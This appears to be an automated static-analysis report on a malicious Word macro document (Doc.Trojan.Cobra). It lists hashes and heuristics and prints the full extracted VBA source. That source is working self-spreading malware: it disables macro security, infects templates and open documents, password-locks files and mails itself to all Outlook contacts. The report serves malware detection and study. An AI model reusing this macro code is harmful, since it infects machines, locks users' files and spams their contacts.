Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 113261fff704eb79…

MALICIOUS

Office (OLE)

35.0 KB Created: 2000-06-21 01:27:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4ee0fb171046104483bccdf08995ed1d SHA-1: 896951453f6a7803f234478fdd3f1d5b7f094fa1 SHA-256: 113261fff704eb79e93467fc9f33af83f016973c4bced1901f697561731c0c8c
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This malicious Word document contains VBA macros, including AutoOpen and AutoClose, which are designed to execute automatically. The script attempts to infect other documents by copying its 'Jacket' macro and disables macro security warnings. The presence of AutoOpen and AutoClose macros strongly suggests it is intended to be delivered as a spearphishing attachment.

Heuristics 7

  • ClamAV: Doc.Trojan.Cobra-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cobra-10
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3515 bytes
SHA-256: 1e9ce792c7064e30f646aeb10e4d82036afb9bfe2e0650e55019e75b0ea8664d
Detection
ClamAV: Doc.Trojan.Cobra-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Jacket"
'=> Step 2
Sub AutoOpen()
Call InfectDocNor
End Sub
Sub AutoClose()
Call InfectDocNor
End Sub
Sub FileOpen()
Call InfectDocNor
Dialogs(wdDialogFileOpen).Show
End Sub
Sub FileNew()
Call InfectDocNor
Dialogs(wdDialogFileNew).Show
End Sub
Sub FileSave()
Call InfectDocNor
If ActiveDocument.Saved = False Then
Dialogs(wdDialogFileSave).Show
End If
End Sub
Sub InfectDocNor()
On Error Resume Next
Dim IncDoc, IncNor As Boolean
Dim PassDay, PassChars
Dim UDO, DMN, BUOS
CustomizationContext = NormalTemplate
With Options
.VirusProtection = False
.SaveNormalPrompt = False
.ConfirmConversions = False
End With
CommandBars("Tools").Controls("Macro").Delete
CommandBars("Tools").Controls("Macro").Visible = False
FindKey(KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF8)).Disable
FindKey(KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11)).Disable
Application.UserAddress = "Liton" + Chr(13) + "Shibrampur" + Chr(13) + "Burichang" + Chr(13) + "Comilla" + Chr(13) + "Bangladesh."
IncNor = False
For Each Ad In Documents
IncDoc = False
For Each MC In Ad.VBProject.VBComponents
If MC.Name = "Jacket" Then IncDoc = True
If MC.Name <> "ThisDocument" And MC.Name <> "Jacket" And MC.Name <> "Reference to Normal" Then
Application.OrganizerDelete Source:=Ad.FullName, Name:=MC.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
If IncDoc = False Then
Application.OrganizerCopy Source:=ActiveDocument.AttachedTemplate.FullName, Destination:=Ad.FullName, Name:="Jacket", Object:=wdOrganizerObjectProjectItems
End If
Next
For Each MC In NormalTemplate.VBProject.VBComponents
If MC.Name = "Jacket" Then IncNor = True
If MC.Name <> "ThisDocument" And MC.Name <> "Jacket" Then
Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=MC.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
If IncNor = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Jacket", Object:=wdOrganizerObjectProjectItems
End If
PassDay = WeekDay(Now)
If PassDay >= 0 And PassDay <= 3 Then
If ActiveDocument.HasPassword = False Then
PassChars = "Apr" & Int(Rnd(PassDay) * Day(Now))
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdformatnormal, Password:=PassChars
System.PrivateProfileString("", "HKEY_CURRENT_USER\Apr30\PassWordList\", ActiveDocument.FullName) = PassChars
End If
End If
If Dir(Application.StartupPath + "\Apr30.dot") <> "Apr30.dot" Then
ActiveDocument.SaveAs FileName:=Application.StartupPath + "\Apr30.dot", FileFormat:=wdFormatTemplate
End If
Set UDO = CreateObject("Outlook.Application")
Set DMN = UDO.GetNameSpace("MAPI")
DMN.Logon "profile", "password"
For l = DMN.AddressLists.Count To 1 Step -1
Set ADB = DMN.AddressLists(l)
i = 0
Set BUOS = UDO.CreateItem(0)
For t = ADB.AdressEntries.Count To 1 Step -1
o = ADB.AddressEntries(i)
BUOS.Recipients.Add o
i = i + 1
If i = ADB.AddressEntries.Count - Month(Now) Then
t = 1
End If
Next t
BUOS.Subject = "Important Message From QuickSoft (Via" + Application.UserName + ")."
BUOS.Body = "Price of some new Software:="
BUOS.Attachments.Add ActiveDocument.FullName
BUOS.Send
o = ""
Next l
DMN.Logoff
End Sub
Sub ViewVBCode()
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.